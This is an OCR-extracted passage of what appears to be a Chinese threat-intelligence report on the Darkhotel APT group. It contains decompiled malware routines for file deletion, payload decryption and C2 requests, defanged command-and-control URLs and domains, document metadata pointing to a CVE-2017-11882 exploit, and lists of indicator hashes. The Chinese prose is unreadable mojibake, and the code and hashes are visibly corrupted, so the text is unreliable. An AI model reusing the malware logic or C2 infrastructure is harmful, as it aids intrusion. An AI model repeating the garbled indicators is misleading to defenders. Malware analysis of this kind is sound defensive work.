1strcpyA(&Stringl, PathName);

PathAppendA(&Stringl, "vector.dat™};

if ( !PathFileExistsA{&Stringl} )
return 9i64;

if ( !'DeleteFileA(&Stringl} )
return @i64;

else if ( !StrStrIA(vE, "<!DOCTYPE html:>"}) )

{
v1l = kk_decryptFunc((__int64)vs, HIDWORD(v1@), (unsigned int *)&v12, v15);
free(va);
if ( vil )
*a5 = vl2;
return v1l;
¥ —
} 78X

return 8i64;

4-16 2019EHBEAR

memmove (Memory + 36, Src, Size);
for ( i =@; i < dword_18@85E684; ++i )

1
v8 = wininet_url 186603280 (const CHAR *}({((__inte4}i << 18) + v16), (_ int64)Memory, v1e, (_DWORD *)&v1e + 1);
if ( vB )

==

*aB = i;
break;

}

free(Memory);
if ( Iv8 )
return @igd;
if ( strStrIA(vE, "reset™) )
{ »
5tringl = 83
memset(&v14, 8, B8x183ui6d);
Istrcpya(&stringl, PathName);
PathAppendA(&stringl, "vector.dat");
if ( !PathFileExistsA(&Stringl) )
return 8i64;
if ( !DeleteFileA(&Stringl) )
return @ic4;

else if { IStrStrIA(vB, “<!DOCTYPE html:")} )

{
v1l = CryptDecryptData_18@883C9@((_ int64)vd, HIDWORD(w1@), (unsigned int *)&v12, v15};
free(vs);
if ( vi1 )
*a5 = v12;
return v1l; iq-—-—-
} wEX
1
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4-17 AR 2 H A A
PHEC2 URLFEAED L —3 :
D0194EREAINC2

http://service-security-manager[.]Jcom/c50c9f6c-a306-41d0-8d24-bf0c3a5f4a0e/21270.php?
vol=honeycomb&q=4znZCTTa2J24&guid=AH|E £FGUID

FEREN LR A AR C2

http://game-service[.]org/584e3411-14a7-41f4-bald-e203609b0471/6126.php?
vol=honeycomb&q=4znZCTTa2J24&guid=AH|AE £FGUID

4. BB FEA TR A S TIE M S M AL AL, FICEES A R dRal A

AppVersion 12.0

Application Microsoft Office Word
Characters b
CharactersWithSpaces 6B

CreateDate 2019:02:12 07:19:002
Creator Windows User
DocSecurity Mone

FileType DOCX
FileTypeExtension docx

HeadingPairs HE1
HyperlinksChanged false

LastModifiedBy Windows User
vilpstr H= ﬁ;f ﬁ *
LinksUpToDate false
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H><HHE
ExREmEdEl 3/18/2019 9:24 PM
GlEAE 8/3/2018 9:48 AM
_EimITENRE]
HxAR
a1 O
==}
VWndow%*ﬁ%If
mIWES
EiriERSE

Windows User
. fux

4-18 FHE R TTHUE B A FE
FAESEAEE ERAE A X &E | {#EHO0fficeIZHAE S LEEHE.
RPN ERRE A3

<wp:extent cx="638175" cy="533400" />
<wp:effectExtent 1="18050" t="0" r="9525" b="0" />
<wp:docPr id="3" descr="C:\workspace\USB_Spyware\CVE-2017-11882-master\Untitled.jpg" />
<Wp:cNviraphicFramePr>
<a:graphicFrameLocks
¥mlns:a="http://achemas.openxml formats.org/drawingml /2006/main" noChangeAspect="1" #)____.
<fwp:cHvGraphicFramePr> =2 *
Zaigraphic

4-19 Wi F BT FHEROffice N E Fr

5/

TE4T Sy Darkhotel 7EfR S ML IS BIESM A ITEFEF |, ARIECETHIE. IRIRFIMSFAE. Ramsay/&ZL
FFIARR G X REXE Darkhote LI P RIIARKTESN , ZREADarkhotel FEMAX FIRAIM B BNIFENM | ARR
WS EE R AREB RITEE R kM. FHEGEARRBAA, TERAK TN , #2 8 Darkhotel
HSRIFEBN RN,

20195 RKREH (RMNEANAEFERSREE) (4], RIAT EEMRIES 5| EMBEIMEREA
AR BEEAMERMILE] , (250 RIRE 5| E4 SRR B ERBNAIN, BHRaEN , FRIBIHREM
LI, EIPITEN ISR R AN AT, Ak , FMESTEIRINAE , BTUEILHIRAISHET
RE , MEEERMXIGRME T BMAENFIENSG. EEMERETHET , HASH, 1P, HAFRUE
RHIINKE , BIREERR, MRAMAE. BABSREA T RBCAR SSRGS (E5F) , [
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eSS ZFMRERE. SRS, BFRGSEIIAY RO X, R Darkhotelt R &t XTI 6% 25
WEEBEENGERE., TREESRA2PTREMELE , Darkhotel SREIAAAEK |, 1535, B, BHEHN
HBREEMEBARTAN , BERKNITREIERAT  KAFEERERNTTEE. RN, AR5
Darkhotel FEAS KEEFIZRZR T B AT |, BTN A e EAEARMRBE N SR ANH] , 4 #DarkhotelZ
LR TTPHAE AR M XIER , BT RIS 5 B IMEIREES A ITRISEIZR G,

SERH

[1] & fBkDarkhotel APTZBZRSt X [E T2 51 T &8 AR RE [6) WL 35
https://s.tencent.com/research/report/646.html
[2] Darkhotel APTEE{KFTIL I ESNKAEA AT

https://ti.gianxin.com/blog/articles/analysis-of-darkhotel/

[3]“ZF4 &> (Darkhotel) 4T3-RESNEATHRFB S IESHIEE

https://s.tencent.com/research/report/741.html

[4] RMEANNFBRESE

https://www.antiy.com/response/20190930.html

I0C
55 A
1 03BD34A9BA4890F37AC8FED78FEAC199
2 07858D5562766D8239A7C961FEEA087C
3 08943BB237926DD1376D799A4AFE797D
4 0B04998EEBOFB22429A04E3D0E134548

5 186B2E42DEOD2ES58D070313BD6730243
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1F3606DDA801A6B7E6BD7CCOE8994241

25877AA787B213C67854A08452CDFC5B

3439318CEDCF37C1BF5FE6D49DDBB2CB

359D2D301455A95F8A2655965B386278

3654C3FA86F19D253E4C70BDF5F3D158

3E805824F80BBA35ACO6EAFC80C6B6AD

4A52DB18E3618F79983F0CB1DD83F34A

4FA4C81A7D1B945B36403DC95943F01E

4FA4C81A7D1B945B36403DC95943F01E

52E32DE77509DCB406DA3B81FB9055D7

53984EF18C965B49EEB3686460AD540B

SDOFAA109DCFDA31AC2D493631E606C2

S5F564A755100D63B9C6374DABD1ES321

615A0F818DCODED2F138D6B3B2DFD6GES

6E47F8BES89792800C019BC24DFB1A25
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74805C5477DA842EB0798B95324F3A65

7A5503B148E3A1D88BASE07D95166159

7E4572DB796E27848D23EASD1E8604AA

8413AB4D5A950F81B40CEEBC3F1E7273

8AA069860D591119AF2859856AD5F063

B2B51A85BDAD70FF19534CD013C07F24

BB72720BC4583C6C4C3CAA883A7DECI95

C2ADF8BF8D8E4409A4725D0334ED8AA6

CC4503B59BABD2E07CF278FF11CE99C7

CF133C06180F130C471C95B3A4EBD7A5

DOEAD87212B0573447F573639DA49FF8

EEA409BBEFEE23EB475E4161F06D529A

F028D23CB4EA2C5DCFO0A2B6BCAADAOCO

A211C80068304FB4ASACD7AB13720D55

AAG6BB52BD5SE3D8B21C113E5AB1A240EA
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BB72720BC4583C6C4C3CAAB883A7DEC95

C803D412A5E86FA8DE111B77F2A14523

DC0222F1E0868C3612A93BA2D83B99BE

E48B89715BF5E4C55EB5A1FED67865D9

E61BA12C33DB1696715401DSFDOBAAE9

F17D7098BDEO0B29441BFCD797812CF88

FF5D43B210545F931AE80A847D1789BB

W4

service-security-manager.com

find-image.com (JEffHF4S : lorinejeans11l@mail.ru)

win-api-essentials.com

service.email-126.net

service.email-126.net
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